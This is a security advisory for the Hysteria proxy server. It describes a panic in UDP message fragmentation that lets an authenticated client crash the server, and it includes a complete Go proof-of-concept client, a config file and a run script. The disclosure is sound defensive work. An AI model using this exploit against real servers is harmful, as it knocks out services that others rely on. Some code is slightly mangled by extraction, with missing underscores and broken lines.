PT-2026-56104 · Go · Github.Com/Apernet/Hysteria
Published
2026-06-26
·
Updated
2026-06-26
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC
max datagram frame size and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns DatagramTooLargeError. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.Details
The vulnerable path is the normal server-side UDP response path:
text
udpSessionEntry.receiveLoop
-> sendMessageAutoFrag
-> frag.FragUDPMessageIn
core/server/udp.go, receiveLoop packages a UDP response into a protocol.UDPMessage and calls sendMessageAutoFrag. If SendDatagram fails with quic.DatagramTooLargeError, sendMessageAutoFrag calls:go
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))However,
FragUDPMessage in core/internal/frag/frag.go assumes that maxSize is greater than the UDP message header size:go
maxPayloadSize := maxSize - m.HeaderSize()If an attacker-controlled client advertises a small enough
max datagram frame size, errTooLarge.MaxDatagramPayloadSize can be smaller than m.HeaderSize(). In that case, maxPayloadSize becomes zero or negative, and the later slicing operation panics:go
frag.Data = fullPayload[off : off+payloadSize]PoC
poc.yaml
yaml
listen: 127.0.0.1:8443
tls:
cert: poc server.crt
key: poc server.key
auth:
type: password
password: udp-frag-panic-poc
masquerade:
type: string
string:
content: nope
statusCode: 404poc.go
go
//go:build poc
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"time"
"github.com/apernet/quic-go"
"github.com/apernet/quic-go/http3"
"github.com/apernet/quic-go/quicvarint"
)
const (
authHost = "hysteria"
authPath = "/auth"
authOK = 233
)
func main() {
server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
auth := flag.String("auth", "", "Hysteria auth/password")
target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
maxDatagram := flag.Int64("max-datagram", 20, "QUIC max datagram frame size advertised by this client")
insecure := flag.Bool("insecure", true, "skip TLS verification")
echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
flag.Parse()
if *auth == "" {
panic("--auth is required")
}
if *echo {
closeEcho := startUDPEcho(*target)
defer closeEcho()
}
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X"))
fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d
",
*target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil {
panic(fmt.Errorf("send trigger datagram: %w", err))
}
fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
if , err := conn.ReceiveDatagram(ctx); err != nil {
fmt.Printf("[*] receive after trigger: %v
", err)
} else {
fmt.Println("[!] received a response; try a smaller --max-datagram")
}
}
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
panic(err)
}
udpConn, err := net.ListenUDP("udp", nil)
if err != nil {
panic(err)
}
transport := &quic.Transport{Conn: udpConn}
var qconn *quic.Conn
rt := &http3.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
QUICConfig: &quic.Config{
EnableDatagrams: true,
MaxDatagramFrameSize: maxDatagram,
DisablePathManager: true,
},
Dial: func(ctx context.Context, string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {
qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)
return qconn, err
},
}
req := &http.Request{
Method: http.MethodPost,
Host: authHost,
URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath},
Header: http.Header{},
Body: io.NopCloser(bytes.NewReader(nil)),
}
req.Header.Set("Hysteria-Auth", auth)
req.Header.Set("Hysteria-CC-RX", "0")
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err := rt.RoundTrip(req.WithContext(ctx))
if err != nil {
panic(err)
}
defer resp.Body.Close()
if resp.StatusCode != authOK {
panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode))
}
if resp.Header.Get("Hysteria-UDP") == "false" {
panic("server reports UDP disabled")
}
cleanup := func() {
= rt.Close()
= transport.Close()
= udpConn.Close()
if qconn != nil {
= qconn.CloseWithError(0, "")
}
}
return qconn, cleanup
}
func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {
buf := make([]byte, udpHeaderSize(addr)+len(data))
binary.BigEndian.PutUint32(buf[0:4], sessionID)
// PacketID=0, FragID=0, FragCount=1.
buf[7] = 1
i := len(quicvarint.Append(buf[:8], uint64(len(addr))))
i += copy(buf[i:], addr)
copy(buf[i:], data)
return buf
}
func udpHeaderSize(addr string) int {
return 8 + quicvarint.Len(uint64(len(addr))) + len(addr)
}
func startUDPEcho(addr string) func() {
pc, err := net.ListenPacket("udp", addr)
if err != nil {
panic(fmt.Errorf("start UDP echo on %s: %w", addr, err))
}
fmt.Printf("[*] UDP echo listening on %s
", pc.LocalAddr())
go func() {
buf := make([]byte, 2048)
for {
n, raddr, err := pc.ReadFrom(buf)
if err != nil {
return
}
, = pc.WriteTo(buf[:n], raddr)
}
}()
return func() { = pc.Close() }
}poc.sh
bash
go run -tags poc ./poc udp frag panic.go
--server 127.0.0.1:8443
--auth udp-frag-panic-poc
--insecure
--target 127.0.0.1:19090
--max-datagram 20Impact
Server crash
Fix
Allocation of Resources Without Limits
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Github.Com/Apernet/Hysteria